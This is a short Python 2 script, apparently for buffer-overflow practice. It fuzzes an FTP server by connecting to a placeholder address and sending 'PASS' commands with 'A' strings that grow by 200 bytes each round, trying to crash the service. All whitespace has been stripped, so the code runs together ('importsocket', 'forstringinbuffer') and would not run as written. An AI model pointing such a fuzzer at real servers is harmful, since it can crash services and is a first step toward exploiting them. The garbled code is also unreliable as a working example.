#!/usr/bin/pythonimportsocketbuffer=["A"]counter=100whilelen(buffer)<=30:#print("Buffer before append: %s" % len(buffer))buffer.append("A"*counter)#print("Buffer after append: %s" % len(buffer))counter=counter+200forstringinbuffer:print"Fuzzing PASS with %s bytes"%len(string)s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)connect=s.connect(('<IP>',<PORT>))printrepr(s.recv(1024))s.send('USER test\r\n')printrepr(s.recv(1024))s.send('PASS '+string+'\r\n')# Beware, sometimes it is better to shut the door (s.close()) without saying goodbye (exit, bye or QUIT)# s.send('QUIT\r\n')s.close()